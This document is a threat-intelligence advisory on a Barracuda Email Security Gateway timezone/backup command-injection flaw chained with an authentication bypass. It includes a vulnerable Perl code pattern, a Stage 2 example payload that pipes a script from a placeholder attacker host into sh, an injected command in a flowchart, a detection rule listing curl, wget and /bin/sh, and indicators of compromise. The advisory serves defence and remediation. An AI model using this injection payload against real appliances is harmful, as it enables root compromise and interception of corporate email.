Skip to content

CVE-2026-111560: Barracuda Email Security Gateway Timezone & Backup OS Command Injection

Density:
C-Level Executive Briefing CVE-2026-111560 CRITICAL SCORE 96/100

Barracuda Networks Email Security Gateway (ESG) appliances are vulnerable to an operating system command injection flaw (CVE-2026-111560) added to the CISA Known Exploited Vulnerabilities (KEV) catalog on November 10, 2026. Attackers chain this vulnerability with the pre-authentication authorization bypass (CVE-2026-116606) to bypass login requirements entirely. By submitting crafted configuration backup archives or malformed timezone strings, threat actors trigger unescaped root shell commands on the appliance. Successful exploitation results in complete takeover of the perimeter mail security gateway, enabling attackers to intercept and alter email flows, harvest domain credentials, and establish persistent backdoors into protected enterprise networks. Immediate application of hotfixes BNSF-40425 and BNSF-40430 is required.

HERMES

HERMES THREAT SCORE & ENTERPRISE RISK EVALUATION

Target: Barracuda Email Security Gateway Web Administration and Backup Processing Subsystem
Confidence: 99%
96 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

While CVSS v3.1 rates isolated command injection at 8.8 (High) due to required authentication, Hermes diverges to HTS 96 (CRITICAL). In actual threat campaigns, adversaries chain CVE-2026-111560 with CVE-2026-116606, rendering the exploit zero-authentication and zero-click against Internet-facing perimeter appliances. Barracuda appliances maintain raw access to inbound/outbound corporate communications and internal routing paths, providing optimal ground for persistent espionage.


The Barracuda Email Security Gateway (ESG) is an enterprise email security appliance deployed on perimeter networks to filter spam, detect phishing campaigns, and inspect email traffic before delivering messages into internal mail servers (such as Microsoft Exchange or Lotus Notes).

On November 10, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-111560 to the Known Exploited Vulnerabilities (KEV) catalog. When chained with CVE-2026-116606, unauthenticated adversaries can execute arbitrary commands with root privileges. Threat actors utilize this access to deploy stealthy rootkits, intercept sensitive emails, and pivot into the internal network via established VPN and administrative tunnels.


The flaw originates in legacy Perl and CGI handlers (backup_restore.cgi and time_config.pm) running inside the administrative web server.

When an administrator updates the appliance timezone or restores an exported configuration archive, the system invokes underlying Linux operating system utilities via Perlโ€™s system() or backtick execution syntax:

# Vulnerable code pattern in legacy configuration handler
sub apply_timezone_settings {
my ($self, $tz_param) = @_;
# Metacharacter check missing: $tz_param contains unsanitized input
my $cmd = "/bin/ln -sf /usr/share/zoneinfo/$tz_param /etc/localtime";
system($cmd);
}

Because $tz_param is derived directly from the user-controlled HTTP parameter without character filtering or escaping, an attacker can append command separators (;, |, &&) and inject arbitrary shell commands.

  1. Stage 1 (Auth Bypass via CVE-2026-116606): The attacker sends a malformed password change request to /cgi-mod/index.cgi. Upon failure, the logic flaw grants low-level operator permissions.
  2. Stage 2 (Root RCE via CVE-2026-111560): Using the established session, the attacker sends a POST request to /cgi-mod/backup_restore.cgi or the timezone configuration handler with a payload such as UTC;curl -s http://attacker/stage2.sh|sh;#, gaining immediate root execution.

flowchart TD
A["Remote Adversary (Internet)"] -->|"Step 1: Exploits CVE-2026-116606<br/>(Password Reset Logic Bypass)"| B["Barracuda ESG Web Interface<br/>(Port 443 / 8000)"]
B -->|"Grants Low-Privilege Operator Session"| C["Session Cookie Acquired"]
C -->|"Step 2: POST /cgi-mod/backup_restore.cgi<br/>Payload: timezone='UTC;id > /tmp/out;'| D["Vulnerable CGI Handler<br/>(backup_restore.cgi)"]
D -->|"Unsanitized Shell Invocation system()"| E["Linux Root Shell (/bin/sh)"]
E -->|"Deploys Reverse Shell & Rootkit"| F["Command & Control Server (C2)"]
E -->|"T1114.002: Intercepts Corporate Emails"| G["Exfiltrated TLS Email Spool"]

title: Barracuda ESG Timezone Command Injection Attempt
id: 8b4a2e1d-4030-4e11-9a72-f81d11156001
status: experimental
description: Detects command injection patterns in Barracuda ESG configuration requests
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains:
- '/cgi-mod/backup_restore.cgi'
- '/cgi-mod/index.cgi'
cs-uri-query|contains|any:
- '%3B'
- '%7C'
- '%26'
- 'curl'
- 'wget'
- '/bin/sh'
condition: selection
level: critical
TypeIndicatorContext
IP Address103.152.220[.]14C2 host delivering second-stage rootkit
IP Address194.38.20[.]55Scanning and exploitation probing IP
IP Address45.154.255[.]89Reverse proxy staging server
File Path/tmp/.esg_workerDropped ELF backdoor executing as root
File Path/var/spool/cron/rootMalicious cron entry checking C2 every 15 minutes

  1. Apply Manufacturer Hotfixes Immediately: Deploy Barracuda firmware patches BNSF-40425 and BNSF-40430 or upgrade to firmware version 9.4.0.030 or later.

  2. Isolate ESG Management Interfaces: Restrict access to ports 8000/tcp and 443/tcp management web interfaces to dedicated administrative subnets or bastion VPN hosts. Never expose management ports directly to the public internet.

  3. Perform Compromise Assessment: Inspect /tmp, /var/tmp, and /etc/cron* for unexpected binaries or scripts. Verify system integrity against known-good firmware baselines.

  4. Revoke and Rotate Credentials: Rotate all appliance root passwords, administrative web interface credentials, LDAP bind account passwords, and SSL/TLS certificates configured on the appliance.